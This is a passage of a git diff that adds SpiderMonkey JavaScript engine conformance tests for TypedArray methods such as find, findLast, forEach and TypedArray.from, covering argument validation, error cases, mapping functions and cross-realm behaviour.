+var BUGNUMBER = 1078975;
+var summary = "Implement %TypedArray%.prototype.{find, findIndex}";
+print(BUGNUMBER + ": " + summary);
+
+const methods = ["find", "findIndex"];
+
+anyTypedArrayConstructors.forEach(constructor => {
+ methods.forEach(method => {
+ var arr = new constructor([0, 1, 2, 3, 4, 5]);
+ // test that this.length is never called
+ Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ });
+ assertEq(arr[method].length, 1);
+ assertEq(arr[method](v => v === 3), 3);
+ assertEq(arr[method](v => v === 6), method === "find" ? undefined : -1);
+
+ var thisValues = [undefined, null, true, 1, "foo", [], {}];
+ if (typeof Symbol == "function")
+ thisValues.push(Symbol());
+
+ thisValues.forEach(thisArg =>
+ assertThrowsInstanceOf(() => arr[method].call(thisArg, () => true), TypeError)
+ );
+
+ assertThrowsInstanceOf(() => arr[method](), TypeError);
+ assertThrowsInstanceOf(() => arr[method](1), TypeError);
+ });
+});
+
+anyTypedArrayConstructors.filter(isFloatConstructor).forEach(constructor => {
+ var arr = new constructor([-0, 0, 1, 5, NaN, 6]);
+ assertEq(arr.find(v => Number.isNaN(v)), NaN);
+ assertEq(arr.findIndex(v => Number.isNaN(v)), 4);
+
+ assertEq(arr.find(v => Object.is(v, 0)), 0);
+ assertEq(arr.findIndex(v => Object.is(v, 0)), 1);
+
+ assertEq(arr.find(v => Object.is(v, -0)), -0);
+ assertEq(arr.findIndex(v => Object.is(v, -0)), 0);
+})
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/findLast-and-findLastIndex.js b/js/src/tests/non262/TypedArray/findLast-and-findLastIndex.js
new file mode 100644
index 0000000000..ed14b4a002
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/findLast-and-findLastIndex.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1704385;
+var summary = "Implement %TypedArray%.prototype.{findLast, findLastIndex}";
+print(BUGNUMBER + ": " + summary);
+
+const methods = ["findLast", "findLastIndex"];
+
+anyTypedArrayConstructors.forEach(constructor => {
+ methods.forEach(method => {
+ var arr = new constructor([0, 1, 2, 3, 4, 5]);
+ // test that this.length is never called
+ Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ });
+ assertEq(arr[method].length, 1);
+ assertEq(arr[method](v => v === 3), 3);
+ assertEq(arr[method](v => v === 6), method === "findLast" ? undefined : -1);
+
+ var thisValues = [undefined, null, true, 1, "foo", [], {}];
+ if (typeof Symbol == "function")
+ thisValues.push(Symbol());
+
+ thisValues.forEach(thisArg =>
+ assertThrowsInstanceOf(() => arr[method].call(thisArg, () => true), TypeError)
+ );
+
+ assertThrowsInstanceOf(() => arr[method](), TypeError);
+ assertThrowsInstanceOf(() => arr[method](1), TypeError);
+ });
+});
+
+anyTypedArrayConstructors.filter(isFloatConstructor).forEach(constructor => {
+ var arr = new constructor([-0, 0, 1, 5, NaN, 6]);
+ assertEq(arr.findLast(v => Number.isNaN(v)), NaN);
+ assertEq(arr.findLastIndex(v => Number.isNaN(v)), 4);
+
+ assertEq(arr.findLast(v => Object.is(v, 0)), 0);
+ assertEq(arr.findLastIndex(v => Object.is(v, 0)), 1);
+
+ assertEq(arr.findLast(v => Object.is(v, -0)), -0);
+ assertEq(arr.findLastIndex(v => Object.is(v, -0)), 0);
+})
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/forEach.js b/js/src/tests/non262/TypedArray/forEach.js
new file mode 100644
index 0000000000..9daa690e2e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/forEach.js
@@ -0,0 +1,93 @@
+// Tests for TypedArray#forEach
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.forEach.length, 1);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ arr.forEach(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ arr.forEach(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ arr.forEach(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ assertEq(arr.forEach((v) => {
+ count++;
+ sum += v;
+ if (v === 3) {
+ throw "forEach";
+ }
+ }), undefined)
+ } catch(e) {
+ assertEq(e, "forEach");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.forEach();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.forEach(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.forEach(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var forEach = newGlobal()[constructor.name].prototype.forEach;
+ var sum = 0;
+ forEach.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ });
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.forEach.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from-iterable-validation.js b/js/src/tests/non262/TypedArray/from-iterable-validation.js
new file mode 100644
index 0000000000..50d46bb81f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/from-non-iterable-validation.js b/js/src/tests/non262/TypedArray/from-non-iterable-validation.js
new file mode 100644
index 0000000000..3276426b28
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from-non-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [{length: 0}, {length: 1, 0: 123}, {length: 1024, 0: 123}];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/from_basics.js b/js/src/tests/non262/TypedArray/from_basics.js
new file mode 100644
index 0000000000..9f53feb72d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_basics.js
@@ -0,0 +1,42 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // 'from' method is identical for all typed array constructors.
+ assertEq(anyTypedArrayConstructors[0].from === constructor.from, true);
+
+ // %TypedArray%.from copies arrays.
+ var src = new constructor([1, 2, 3]), copy = constructor.from(src);
+ assertEq(copy === src, false);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, src);
+
+ // Non-element properties are not copied.
+ var a = new constructor([0, 1]);
+ a.name = "lisa";
+ assertDeepEq(constructor.from(a), new constructor([0, 1]));
+
+ // %TypedArray%.from can copy non-iterable objects, if they're array-like.
+ src = {0: 0, 1: 1, length: 2};
+ copy = constructor.from(src);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, new constructor([0, 1]));
+
+ // Properties past the .length are not copied.
+ src = {0: "0", 1: "1", 2: "two", 9: "nine", name: "lisa", length: 2};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+
+ // If an object has neither an @@iterator method nor .length,
+ // then it's treated as zero-length.
+ assertDeepEq(constructor.from({}), new constructor());
+
+ // Primitives will be coerced to primitive wrapper first.
+ assertDeepEq(constructor.from(1), new constructor());
+ assertDeepEq(constructor.from("123"), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.from(true), new constructor());
+ assertDeepEq(constructor.from(Symbol()), new constructor());
+
+ // Source object property order doesn't matter.
+ src = {length: 2, 1: "1", 0: "0"};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_constructor.js b/js/src/tests/non262/TypedArray/from_constructor.js
new file mode 100644
index 0000000000..0b0773b85c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_constructor.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Note %TypedArray%.from(iterable) calls 'this' with an argument whose value is
+ // `[...iterable].length`, while Array.from(iterable) doesn't pass any argument.
+ constructor.from.call(function(len){
+ assertEq(len, 3);
+ return new constructor(len);
+ }, Array(3));
+
+ // If the 'this' value passed to %TypedArray.from is not a constructor,
+ // then an exception is thrown, while Array.from will use Array as it's constructor.
+ var arr = [3, 4, 5];
+ var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+ ];
+ for (var v of nonconstructors) {
+ assertThrowsInstanceOf(() => {
+ constructor.from.call(v, arr);
+ }, TypeError);
+ }
+
+ // %TypedArray%.from does not get confused if global constructors for typed arrays
+ // are replaced with another constructor.
+ function NotArray(...rest) {
+ return new constructor(...rest);
+ }
+ var RealArray = constructor;
+ NotArray.from = constructor.from;
+ this[constructor.name] = NotArray;
+ assertEq(RealArray.from([1]) instanceof RealArray, true);
+ assertEq(NotArray.from([1]) instanceof RealArray, true);
+ this[constructor.name] = RealArray;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_errors.js b/js/src/tests/non262/TypedArray/from_errors.js
new file mode 100644
index 0000000000..281b1b5129
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_errors.js
@@ -0,0 +1,76 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from throws if the argument is undefined or null.
+ assertThrowsInstanceOf(() => constructor.from(), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(undefined), TypeError);
+ assertThrowsInstanceOf(() => constructor.from(null), TypeError);
+
+ // Unlike Array.from, %TypedArray%.from doesn't get or set the length property.
+ function ObjectWithThrowingLengthGetterSetter(...rest) {
+ var ta = new constructor(...rest);
+ Object.defineProperty(ta, "length", {
+ configurable: true,
+ get() { throw new RangeError("getter!"); },
+ set() { throw new RangeError("setter!"); }
+ });
+ return ta;
+ }
+ ObjectWithThrowingLengthGetterSetter.from = constructor.from;
+ assertEq(ObjectWithThrowingLengthGetterSetter.from([123])[0], 123);
+
+ // %TypedArray%.from throws if mapfn is neither callable nor undefined.
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], {}), TypeError);
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], "also not a function"), TypeError);
+ assertThrowsInstanceOf(() => constructor.from([3, 4, 5], null), TypeError);
+
+ // Even if the function would not have been called.
+ assertThrowsInstanceOf(() => constructor.from([], JSON), TypeError);
+
+ // If mapfn is not undefined and not callable, the error happens before anything else.
+ // Before calling the constructor, before touching the arrayLike.
+ var log = "";
+ var obj;
+ function C(...rest) {
+ log += "C";
+ obj = new constructor(...rest);
+ return obj;
+ }
+ var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+ });
+ assertThrowsInstanceOf(() => constructor.from.call(C, p, {}), TypeError);
+ assertEq(log, "");
+
+ // If mapfn throws, the new object has already been created.
+ var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+ };
+ log = "";
+ var exc = {surprise: "ponies"};
+ assertThrowsValue(() => constructor.from.call(C, arrayish, () => { throw exc; }), exc);
+ assertEq(log, "lC0");
+ assertEq(obj instanceof constructor, true);
+
+ // It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+ for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => constructor.from({[Symbol.iterator] : primitive}), TypeError);
+ }
+ assertDeepEq(constructor.from({[Symbol.iterator]: null}), new constructor());
+ assertDeepEq(constructor.from({[Symbol.iterator]: undefined}), new constructor());
+
+ // It's a TypeError if the iterator's .next() method returns a primitive.
+ for (var primitive of [undefined, null, "foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(
+ () => constructor.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_iterable.js b/js/src/tests/non262/TypedArray/from_iterable.js
new file mode 100644
index 0000000000..889c815898
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_iterable.js
@@ -0,0 +1,49 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // %TypedArray%.from works on arguments objects.
+ (function () {
+ assertDeepEq(constructor.from(arguments), new constructor(["0", "1", undefined]));
+ })("0", "1", undefined);
+
+ // If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+ var a = ['0', '1', '2', '3', '4'];
+ a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+ };
+
+ var log = '';
+ function f(x) {
+ log += x;
+ return x + x;
+ }
+
+ var b = constructor.from(a, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+
+ // In fact, if [@@iterator] is present, .length isn't queried at all.
+ var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+ });
+ log = "";
+ b = constructor.from(pa, f);
+ assertDeepEq(b, new constructor(['44', '33', '22', '11', '00']));
+ assertEq(log, '43210');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_mapping.js b/js/src/tests/non262/TypedArray/from_mapping.js
new file mode 100644
index 0000000000..1c24815418
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_mapping.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // If the mapfn argument to %TypedArray%.from is undefined, don't map.
+ assertDeepEq(constructor.from([3, 4, 5], undefined), new constructor([3, 4, 5]));
+ assertDeepEq(constructor.from([4, 5, 6], undefined, Math), new constructor([4, 5, 6]));
+
+ // mapfn is called with two arguments: value and index.
+ var log = [];
+ function f(...args) {
+ log.push(args);
+ return log.length;
+ }
+ assertDeepEq(constructor.from(['a', 'e', 'i', 'o', 'u'], f), new constructor([1, 2, 3, 4, 5]));
+ assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+ // If the object to be copied is non-iterable, mapfn is still called with two
+ // arguments.
+ log = [];
+ assertDeepEq(constructor.from({0: "zero", 1: "one", length: 2}, f), new constructor([1, 2]));
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // If the object to be copied is iterable and the constructor is not Array,
+ // mapfn is still called with two arguments.
+ log = [];
+ function C(...rest) {
+ return new constructor(...rest);
+ }
+ C.from = constructor.from;
+ var c = new C(2);
+ c[0] = 1;
+ c[1] = 2;
+ assertDeepEq(C.from(["zero", "one"], f), c);
+ assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+ // The mapfn is called even if the value to be mapped is undefined.
+ assertDeepEq(constructor.from([0, 1, , 3], String), new constructor(["0", "1", "undefined", "3"]));
+ var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+ assertDeepEq(constructor.from(arraylike, String), new constructor(["0", "1", "undefined", "3"]));
+}
+
+// %TypedArray%.from(obj, map) is not exactly the same as %TypedArray%.from(obj).map(mapFn).
+assertDeepEq(Int8Array.from([150], v => v / 2), new Int8Array([75]));
+assertDeepEq(Int8Array.from([150]).map(v => v / 2), new Int8Array([-53]));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_realms.js b/js/src/tests/non262/TypedArray/from_realms.js
new file mode 100644
index 0000000000..590589392f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_realms.js
@@ -0,0 +1,32 @@
+for (var constructor of anyTypedArrayConstructors) {
+ if (typeof newGlobal !== 'function')
+ break;
+
+ // G[constructor.name].from, where G is any global, produces an array whose prototype
+ // is G[constructor.name].prototype.
+ var g = newGlobal();
+ var ga = g[constructor.name].from([1, 2, 3]);
+ assertEq(ga instanceof g[constructor.name], true);
+
+ // %TypedArray%.from can be applied to a constructor from another realm.
+ var p = constructor.from.call(g[constructor.name], [1, 2, 3]);
+ assertEq(p instanceof g[constructor.name], true);
+ var q = g[constructor.name].from.call(constructor, [3, 4, 5]);
+ assertEq(q instanceof constructor, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not %TypedArray%.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g[constructor.name].from.call(constructor, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_string.js b/js/src/tests/non262/TypedArray/from_string.js
new file mode 100644
index 0000000000..09a2c36710
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_string.js
@@ -0,0 +1,24 @@
+// %TypedArray%.from called on Array should also handle strings correctly.
+var from = Int8Array.from.bind(Uint32Array);
+var toCodePoint = s => s.codePointAt(0);
+
+// %TypedArray%.from on a string iterates over the string.
+assertEqArray(from("test string", toCodePoint),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g'].map(toCodePoint));
+
+// %TypedArray%.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertEqArray(from(gclef, toCodePoint), [gclef].map(toCodePoint));
+assertEqArray(from(gclef + " G", toCodePoint), [gclef, " ", "G"].map(toCodePoint));
+
+// %TypedArray%.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertEqArray(from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertEqArray(from("works", toCodePoint), ['w', 'o', 'r', 'k', 's'].map(toCodePoint));
+assertEqArray(from(gclef, toCodePoint), ['\uD834', '\uDD1E'].map(toCodePoint));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_surfaces.js b/js/src/tests/non262/TypedArray/from_surfaces.js
new file mode 100644
index 0000000000..ef15536378
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_surfaces.js
@@ -0,0 +1,12 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // Check superficial features of %TypeArray%.from.
+ var desc = Object.getOwnPropertyDescriptor(constructor.__proto__, "from");
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(constructor.from.length, 1);
+ assertThrowsInstanceOf(() => new constructor.from(), TypeError); // not a constructor
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_this.js b/js/src/tests/non262/TypedArray/from_this.js
new file mode 100644
index 0000000000..95af053b8d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_this.js
@@ -0,0 +1,59 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // The third argument to %TypedArray%.from is passed as the 'this' value to the
+ // mapping function.
+ var hits = 0, obj = {};
+ function f(x) {
+ assertEq(this, obj);
+ hits++;
+ }
+ constructor.from(["a", "b", "c"], f, obj);
+ assertEq(hits, 3);
+
+ // Without an argument, undefined is passed...
+ hits = 0;
+ function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+ }
+ constructor.from("def", gs);
+ assertEq(hits, 3);
+
+ // ...and if the mapping function is non-strict, that means the global is
+ // passed.
+ var global = this;
+ hits = 0;
+ function g(x) {
+ assertEq(this, global);
+ hits++;
+ }
+ constructor.from("ghi", g);
+ assertEq(hits, 3);
+
+ // A primitive value can be passed.
+ for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+
+ // ...and if the mapping function is non-strict, primitive values will
+ // be wrapped to objects.
+ for (var v of [0, "str", true]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ assertDeepEq(this, Object(v));
+ hits++;
+ };
+ constructor.from("pq", mapfn, v);
+ assertEq(hits, 2);
+ }
+}
+
